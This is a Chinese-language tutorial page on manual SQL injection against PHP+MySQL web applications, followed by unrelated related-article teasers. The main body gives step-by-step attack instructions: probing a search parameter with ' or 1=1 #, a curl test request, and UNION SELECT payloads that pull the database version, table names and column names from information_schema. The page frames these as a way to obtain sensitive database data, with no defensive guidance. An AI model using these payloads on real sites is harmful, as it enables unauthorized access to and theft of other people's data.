PHP+MySQL手工注入语句大全 MySQL手工注入语句总结

PHP+MySQL手工注入语句大全 MySQL手工注入语句总结攻略

什么是手工注入?

手工注入是一种攻击技术,攻击者利用输入验证错误,通过手动构造特殊的输入字符串,向Web应用程序中注入恶意代码,以获取数据库敏感信息。

手工注入的主要目标是通过针对Web应用程序暴露出的漏洞,使攻击者能够以合法用户的身份与Web应用程序进行交互,从而对数据进行访问和操作。手工注入的方式既可以直接在目标Web应用程序上手动注入,也可以使用工具来模拟注入行为。

如何手工注入?

手工注入一般包含以下步骤:

  1. 找到攻击目标的漏洞点,例如可以通过某个搜索栏:
http://www.example.com/search.php?q=1
  1. 输入恶意字符或字符串进行测试,例如在终端输入:
curl -v "http://www.example.com/search.php?q=' or 1=1 #"
  1. 判断是否存在注入漏洞,例如如果能够看到查询结果中包含所有行的记录,则说明存在漏洞。

  2. 确定数据库类型与版本,一般可以通过指定特定的特征字符串进行判断。

  3. 利用不同的注入语句获取需要的数据,如下所示。

MySQL手工注入语句大全

下面是一些常见的MySQL手工注入语句,具体使用时需要根据实际情况进行修改。

注入获取数据库的版本

  • 语句:
SELECT @@VERSION

注入查询当前库名

  • 语句:
SELECT DATABASE()

注入查询表名

  • 语句:
SELECT table_name FROM information_schema.tables WHERE table_schema=database()

注入查询列名

  • 语句:
SELECT column_name FROM information_schema.columns WHERE table_name='表名' AND table_schema='数据库名'

示例说明

下面是一个示例说明,假设我们已经找到了某个存在注入漏洞的搜索栏,并且我们对目标数据库的表名和列名一无所知。在这种情况下,我们可以像下面这样进行手工注入:

  1. 我们向搜索栏中输入 ' or 1=1 # 并提交。

  2. 如果可以看到所有行的记录,则说明存在漏洞。

  3. 为了获取数据库的版本,我们可以向搜索栏中输入:

' UNION SELECT @@VERSION, NULL #

这条语句的含义是先通过 ' 将原始查询结束,然后 union进我们自己细心写好的新表格,第一列使用@@VERSION获取数据库版本。最后 # 表示将后面的字符串注释掉。

  1. 如果成功,我们应该可以看到返回的结果中包含了数据库的版本信息。

  2. 为了获取表名,我们可以使用下述语句:

' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema=database() #
  1. 如果成功,我们应该可以看到返回的结果包含了数据库中的所有表名。

  2. 为了获取列名,我们可以使用下述语句:

' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='目标表名' AND table_schema='目标数据库名' #
  1. 如果成功,我们应该可以看到返回的结果包含了我们需要的列名。

通过这些手工注入语句,我们可以在保证不依赖于工具的情况下,获取到数据库的各种敏感信息,并进行各种有趣的操作。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:PHP+MySQL手工注入语句大全 MySQL手工注入语句总结 - Python技术站

(0)
上一篇 2023年5月22日
下一篇 2023年5月22日

相关文章

  • Golang笔试题(附答案)

    下面我将分为以下几个部分详细讲解Golang笔试题的完整攻略: 一、题目描述 题目描述是基础,首先我们需要仔细阅读题目,理解题目要求,才能更清楚我们需要写出什么样的代码。 二、思路分析 在理解题目的基础上,需要进行思路分析,明确如何解题。对于本题,我们需要注意以下几点: 统计每个字符出现的次数,可以借助map实现 统计出现最多的字符,需要遍历map并比较 三…

    database 2023年5月22日
    00
  • 如何使用Python在MySQL中使用唯一键?

    在MySQL中,唯一键是一种用于确保表中每一行的唯一性的特殊列。在Python中,可以使用MySQL连接来执行唯一键查询。以下是在Python中唯一键的完整攻略,包唯一键基本语法、使用唯一键的示例及如何在Python中使用唯一键。 唯一键的基本语法 在MySQL中可以使用UNIQUE关键字来指定唯一键列。以下是创建唯一键列的本语法: CREATE TABLE…

    python 2023年5月12日
    00
  • 详解MySQL的约束

    在 MySQL 中,约束是指对表中数据的一种约束,能够帮助数据库管理员更好地管理数据库,并且能够确保数据库中数据的正确性和有效性。 例如,在数据表中存放年龄的值时,如果存入 200、300 这些无效的值就毫无意义了。因此,使用约束来限定表中的数据范围是很有必要的。 在 MySQL 中,支持以下几种约束: 1. 主键约束(Primary Key Constra…

    MySQL 2023年3月9日
    00
  • Redis本地集群搭建(5版本以上)

    2019年11月3日10:05:48 步骤 1、下载安装Redis的安装包 2、复制5份,一共6份Redis的解压安装版,修改每个Redis节点的端口并开启节点 3、修改每个Redis节点的端口,以及开启集群模式 3、使用redis-cli –cluster create ip:port给集群的节点分配哈希槽(如果要使用主从,只需要添加master节点的i…

    Redis 2023年4月12日
    00
  • Linux服务器从入门到精通52问

    Linux服务器从入门到精通52问攻略 什么是Linux服务器? Linux服务器是指运行Linux操作系统的计算机,用于提供各种服务(如网站、数据库、FTP等)并可以与其他计算机进行通信。由于Linux系统本身具有高度的开放性和可定制性,常常被用于企业级应用和云计算场景。 如何选择适合的Linux服务器? 在选择Linux服务器时,需要考虑以下因素: 服务…

    database 2023年5月22日
    00
  • MySQL数据库性能优化介绍

    MySQL数据库性能优化是一个非常重要的主题,本文将会介绍优化MySQL数据库性能的一些最佳实践。 1. 表结构设计 表结构的设计是优化MySQL数据库性能的重要一环。以下是一些最佳实践: 每个表只应该包含必要的列,不要把全都加进去。 确定合适的列类型,以便在磁盘上占用更少的空间,从而提高了查询速度。 在表中建立索引以提高查询速度。但不要滥用索引,因为过多的…

    database 2023年5月19日
    00
  • Redis24:Jedis、redis安全、Lua脚本、其他命令

    Jedis的使用 基本用法:首先new一个jedispool,然后getResource取到jedis即可,最后jedis要关闭连接。 为了防止发生异常导致jedis没有关闭引发的连接池内连接数不够,要把close语句放在finally块里或者用trywithresource都可以。 有时出现网络抖动会导致redis自动断开连接,此时可以将执行代码异常cat…

    Redis 2023年4月11日
    00
  • MSSQL附加数据库拒绝访问提示5120错误的处理方法

    以下是MSSQL附加数据库拒绝访问提示5120错误的处理方法的完整攻略: 问题描述 在使用MSSQL Server Management Studio附加数据库时,可能会遇到拒绝访问并提示5120错误的情况。这个错误通常是由于权限不足或操作系统文件句柄正在被使用导致的。 处理方法 方法一:使用管理员权限运行MSSQL Server Management St…

    database 2023年5月19日
    00
合作推广
合作推广
分享本页
返回顶部